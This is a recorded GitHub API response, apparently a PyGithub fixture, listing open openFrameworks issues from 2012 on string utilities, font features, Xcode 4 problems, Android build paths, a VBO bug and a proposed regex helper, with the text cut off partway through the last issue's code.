/repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4925'), ('content-length', '55518'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b3b3a8bd17d4ed7557040a218c1db573"'), ('date', 'Tue, 29 May 2012 19:36:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofStringUtils:: feature discussion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","comments":6,"assignee":null,"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","number":1132,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3911629,"closed_at":null,"created_at":"2012-03-31T17:52:48Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTTF feature discussion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","comments":25,"assignee":null,"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","number":1131,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography"}],"id":3911537,"closed_at":null,"created_at":"2012-03-31T17:36:25Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Define standard header for examples.","html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","comments":0,"assignee":null,"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","number":1130,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","labels":[{"color":"d1af26","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"cccc29","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3910580,"closed_at":null,"created_at":"2012-03-31T14:44:01Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","comments":5,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","number":1129,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3910555,"closed_at":null,"created_at":"2012-03-31T14:39:04Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"upgrade scripts","html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","comments":1,"assignee":null,"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","number":1128,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3910549,"closed_at":null,"created_at":"2012-03-31T14:38:19Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG Feature request: Clean examples folder","html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","comments":0,"assignee":null,"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","number":1126,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","labels":[{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3897090,"closed_at":null,"created_at":"2012-03-30T12:51:30Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","comments":0,"assignee":null,"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","number":1124,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3883598,"closed_at":null,"created_at":"2012-03-29T16:47:29Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"7398ab0bbd07832d0289f26773e65077","url":"https://api.github.com/users/imanhp","login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","comments":2,"assignee":null,"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","number":1120,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3856005,"closed_at":null,"created_at":"2012-03-28T16:21:45Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Default paths.make for Android","html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","comments":0,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","number":1118,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2bc4ad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android"}],"id":3850655,"closed_at":null,"created_at":"2012-03-28T12:19:39Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Can't retrieve desired frame rate once set","html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","comments":0,"assignee":null,"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","number":1117,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3825582,"closed_at":null,"created_at":"2012-03-27T11:48:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"37aca214d4875cd90af9d67072c82642","url":"https://api.github.com/users/vade","login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVBO updateIndexData incorrect buffer type.","html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","comments":5,"assignee":null,"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","number":1116,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D"}],"id":3813852,"closed_at":null,"created_at":"2012-03-26T18:26:05Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"optimization level in xcode projects","html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","comments":3,"assignee":null,"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","number":1115,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","labels":[{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"}],"id":3812318,"closed_at":null,"created_at":"2012-03-26T17:05:14Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"macros in ofArduino","html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","comments":1,"assignee":{"gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","number":1114,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":3812275,"closed_at":null,"created_at":"2012-03-26T17:02:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","url":"https://api.github.com/users/OlexandrStepanov","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Issue with QtKitMovieGrabberExample in apps/devapps","html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","comments":9,"assignee":null,"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","number":1112,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":3807459,"closed_at":null,"created_at":"2012-03-26T12:11:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add a simple regex function like ofSplitString()","html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","comments":1,"assignee":null,"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return 